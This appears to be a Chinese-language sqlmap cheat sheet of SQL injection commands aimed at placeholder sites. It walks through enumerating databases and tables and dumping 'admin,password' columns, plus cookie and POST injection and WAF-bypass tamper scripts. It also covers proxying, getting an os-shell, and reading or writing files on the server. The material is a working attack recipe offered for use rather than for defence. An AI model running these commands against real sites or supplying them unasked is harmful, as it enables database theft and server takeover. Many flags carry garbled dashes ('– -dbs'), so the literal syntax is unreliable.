Sqlmap常规命令:
ACCESS(一个数据库):
Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -tables (获取表) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -columns -T 表 (获取指定表字段内容) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -dump -C “admin,password” -T 表 (下载指定数据)
MYSQL(多个数据库):
Sqlmap -u “http://www.xxx.com/shownews.php?id=1” – -dbs (获取数据库) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -current -db (获取当前网站数据库) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -tables -D “数据库” (获取指定数据库表) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -columns -T “表” -D “库” (获取指定字段内容) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -dump -C ”admin,password” -T “表” -D “库”(下载指定数据) Cookie注入:Sqlmap -u “http://www.xxx.com/shownews.asp?” – -cookie “id=1” – -level 2
POST注入:
包括两个方面,-r参数注入 – -data参数注入
两者区别根据具体情况选择
-r:用burp抓包保存为1.txt在sqlmap根目录,一般登陆框利用较多
Sqlmap.py -r “1.txt”
– -data:直接利用参数即可
sqlmap -u “http://www.xxx.com/shownews.asp?” – -data= “id=1”
伪静态注入:
在存在注入的地方加上*,然后获取数据库
sqlmap.py -u “http://www.xx.com/index.php/index/view/id/40*.html” – -dbs
Sqlmap代理:
HTTP(S)代理:
参数:–proxy、–proxy-cred、–proxy-file和–ignore-proxy
使用参数“–proxy”来设置一个HTTP(S)代理,格式是“http(s)://url:port”。若代理需要认证,使用参数“–proxy-cred”来提供认证凭证,格式是“username:password”。
如:
sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -dbs – -proxy http://192.168.0.1:1080 –proxy-file:加载代理ip列表 如:sqlmap.py -u“http://www.xxx.com/shownews.asp?id=1″ -proxy-file=dl.txt(代理ip文件) –ignore-proxy:忽略本地代理设置 –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理 Tor代理模式:这个我没试过,就不贴语法了。
Sqlmap的tamper过waf脚本整理:
sqlmap有着两个选项 –check-waf –identify-waf 来辨认waf
注:自己常用的脚本
space2morehash.py space2hash.py(绕过过滤‘=’) base64encode.py(用base64编码替换)
charencode.py space2comment.py charunicodeencode.py(字符串unicode编码) chardoubleencode.py(双url编码)unmagicquotes.py(宽字符绕过 GPC addslashes) randomcomments.py(用/**/分割sql关键字) appendnullbyte.py(在有效负荷结束位置加载零字节字符编码)
Tamper语法:
batch:要求不对目标写入(碰到任何提示默认回车)
tamper:使用干预脚本
-v 3(3为等级)
注意:若不使用3等级无法继续下一步操作。
语法:sqlmap.py -u “http://www.xxx.com/shownews.asp?id=1” -v 3 – -dbs – -batch – -tamper “space2morehash.py”
注意:mysql access等数据库的tamper脚本还是有所区别的
带上一个大佬整理的各个数据库对应的tamper脚本链接
https://blog.csdn.net/hxsstar/article/details/22782627
Sqlmap之请求延迟:
Sqlmap.py -u “http://www.xxx.com/shownews.asp?id=1” – -tables – -delay 0.5(延迟时间)
如果有网站dba权限,且可以读取写入文件,那么可以直接os-shell或者以下命令
– -file-read /home/www/index.php 读取指定文件 – -file-write 写入本地文件(- -file-write “c:\test\1.txt” – -file-dest “/home/www/feizhu.txt” 本地的1.txt文件写入到远程服务器feizhu.txt(此处需要有网站写入权限) sqlmap连接数据库: sqlmap.py -d mysql://test:test@localhost:3306/test –sql-shell